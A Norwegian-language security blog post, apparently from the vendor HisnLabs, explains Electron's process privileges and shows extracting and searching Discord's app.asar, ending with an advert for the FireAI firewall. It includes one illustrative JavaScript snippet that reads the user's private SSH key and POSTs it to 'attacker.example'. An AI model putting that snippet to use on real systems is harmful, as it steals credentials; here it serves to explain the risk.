Electron kombinerer Chromium-gjengivelsesmotoren med Node.js runtime slik at én JavaScript-kodebase kan leveres som en skrivebordsapp på macOS, Windows og Linux. Slack, Discord, Notion og mange andre er bygget på denne måten, og i årevis var det også Microsoft Teams. Bekvemmeligheten er ekte. Så er en konsekvens verdt å forstå: en Electron-app er ikke én prosess med ett rettighetsnivå, og den medfølgende kilden er ikke vanskelig å lese.
To prosesser, to privilegienivåer
Hver Electron-app har en hovedprosess, som kjører fullstendige Node.js med normal fil- og nettverkstilgang på OS-nivå, og en eller flere Renderer-prosesser, som viser nettinnhold i en Chromium-kontekst. Electrons egen sikkerhetsdokumentasjon er eksplisitt om risikoen for å gjøre den linjen uskarp: "Det er viktig at du ikke aktiverer Node.js-integrasjon i noen gjengiver som laster eksternt innhold," fordi det fjerner barrieren mellom en nettside og operativsystemet. Den oppgitte løsningen er ikke «stol på innholdet i stedet», men arkitektonisk: hold nodetilgangen ute av rendereren, og eksponer bare en bevisst smal API for den gjennom et forhåndslastet skript og contextBridge API, med kontekstisolering på.
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')
const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)Arkivet er ikke en hemmelighet: å trekke ut en ekte app
De fleste Electron-apper sender JavaScript og HTML i en app.asar-fil. Electrons egne dokumenter er direkte om hva det formatet er for: "arkiver er skrivebeskyttet" og bunting til ett er ment å "skjule kildekoden din fra overfladisk inspeksjon" - dens egen ordlyd, ikke en påstand utenfra - samtidig som den sier tydelig andre steder at ASAR ikke gir kryptering. For å sjekke hva det betyr i praksis, hentet vi ut den ekte, for øyeblikket installerte kopien av Discord for macOS (bygg 0.0.294) på denne maskinen, ved å bruke Electrons egen vedlikeholdte pakker.
npm install -g @electron/asar
asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
find ./discord_src -type f | wc -l
1056En kommando produserte 1056 vanlige filer: lesbart JavaScript, package.json og Discords egen moduloppsett, akkurat slik Electrons dokumentasjon sier det vil. Ingen dekompilering, ingen reverse engineering, ingen passord. Dette er ikke en feil i Discord; det er hvordan ASAR-formatet fungerer for hver Electron-app, etter design.
Hva et ekte utdrag viser om nettverksatferd
Med kilden i ren tekst blir både sikkerhetsgjennomgang og søk trivielt. Vi søkte i de utpakkede filene etter to ting: hvilke webPreferences Discord faktisk setter, og hvilke vertsnavn som vises i dens egen kode (unntatt tredjeparts node_modules).
grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376: nodeIntegration: false,
app_bootstrap/splashScreen.js:379: contextIsolation: true,
grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
12 www.w3.org
3 twitter.com
3 discord.com
2 github.com
1 updates.discord.com
1 reactjs.orgFor å være rettferdig mot den spesifikke appen vi testet: Discords splash-screen-vindu følger Electrons herderåd nøyaktig, nodeIntegration: false og contextIsolation: true. Det er verdt å si tydelig frem i stedet for å hoppe over det. Poenget med dette er ikke at Discord er usikkert; det er at vi kunne sjekke, i løpet av minutter, på hvilken som helst Electron-app, fordi arkivformatet holder ingenting skjult. De fleste som installerer en Electron-app ser aldri ut, og de fleste statiske endepunktverktøy gjør det heller ikke.
Hvorfor en binær-tillit brannmur ikke kan hjelpe her
Ingen av vertsnavnene ovenfor er hemmelige eller overraskende for en chat-app å nå, og det er akkurat det som er problemet for forsvar på nettverksnivå. En brannmur som bestemmer med kodesignatur, ser én ting: en notarisert, Apple-signert binær som gjør vanlige HTTPS-forespørsler på port 443. Den har ingen måte å fortelle et legitimt API-kall, en medfølgende analyse-SDK, og, i en genuint kompromittert gjengiver, et eksfiltreringsforsøk fra hverandre. Alle tre ser ut som den samme pålitelige prosessen når de snakker med internett, fordi de er den samme prosessen.
- Å bedømme en Electron-app etter kodesignaturen sier ingenting om hvilke av dens mange medfølgende avhengigheter som gjør hvilke tilkoblinger.
- Fordi kilden er vanlig JavaScript i et ukryptert arkiv, er revisjon av hva en app kan nå realistisk, ikke teoretisk, for alle som er villige til å kjøre
asar extract. - Den ene kontrollen som ikke er avhengig av å stole på binæren er per-prosess, per-destinasjon nettverkspolicy: å bestemme, ved stikkontakten, hva en gitt app har lov til å nå.
Hvor FireAI og HisnLabs kommer inn
A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.
FireAI er HisnLabs’ eget produkt: en KI-brannmur som kjører direkte på Macen. Den viser hver tilkobling appene dine gjør, i klart språk, og lar deg bestemme hva som forlater Macen din — KI-en kjører lokalt, så trafikken din sendes aldri til oss eller noen andre. HisnLabs’ sikkerhetsforskningsteam er de som holder disse vurderingene pålitelige: de katalogiserer hvilke domener som er vanlig telemetri og hvilke som er en ekte tjeneste, sporer landet og nettverket bak en tilkobling, og trener den lokale modellen (Autopilot-funksjonen) på ekte trafikkmønstre — uten at noe av det forlater Macen din.
Du kan lese om de tekniske valgene bak, eller prøve FireAI i 17 dager, på FireAI, fra HisnLabs.